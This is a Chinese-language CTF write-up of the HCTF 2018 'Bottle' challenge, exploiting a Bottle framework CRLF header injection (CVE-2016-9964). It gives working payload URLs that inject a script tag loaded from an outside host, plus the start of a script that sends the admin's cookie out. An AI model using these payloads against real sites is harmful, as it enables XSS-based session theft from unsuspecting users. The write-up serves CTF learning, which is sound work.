Bottle
1 | Not hard, I believe you are the lucky one! |
后端是个 python,根据题目可知这个应用使用了 bottle 框架开发。应用功能是提交一个网址,但是经过测试发现不管提交什么网址都没有任何反应,目测可能只能提交本域名下的网址。
登录与注册的时候发现中间经过了一个 path 跳转
bottle 框架比较出名一点的漏洞是 HTTP 头注入漏洞 (CVE-2016-9964)
在 path 跳转时可进行 CRLF 注入
所以思路是利用 CRLF 注入,将 XSS 内容写入到 body 中,将这个网址提交给管理员,管理员访问这个网址,触发 XSS 达到 cookie
这里有一个问题: 当浏览器发现 Location 可以跳转时,将不会对 body 中的 HTML 进行渲染而直接跳转,只有 Location 为空时才不会跳转。但是此题中 Location 又不能为空 (会 500),因此当管理员访问这个网址时肯定会跳转。不过 Hint 中提到”bot use firefoxDriver”,而在 FireFox 中,当 Location 目标网址的端口小于 80 时不会对 Location 跳转,因此构造网址
1 | http://bottle.2018.hctf.io:0/%0A%0D%0A%0D%3Cscript%3Ea=1%3C/script%3E |
注意到题目中还设置了 CSPContent-Security-Policy: default-src 'self'; script-src 'self'
,后来出题人再修复此题之后将 CSP 放在了 CRLF 注入点的下面,这样就可以直接把 CSP 挤到 body 中,浏览器便不会解析 CSP。在本地 FireFox 中测试:
这里不使用 alert 测试是因为当 URL 中存在引号或括号时会 500,于是将 script 的 src 指向自己服务器的 js 文件即可任意 XSS,最终 payload 如下
1 | http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:0/%0A%0D%0A%0D%3Cscript+src=http://srpopty.cn/1.js%3E%3C/script%3E |
1.js
1 | var ajax=new XMLHttpRequest(); |
拿到管理员的 cookie
修改 cookie 登录拿到 flag
参考
https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html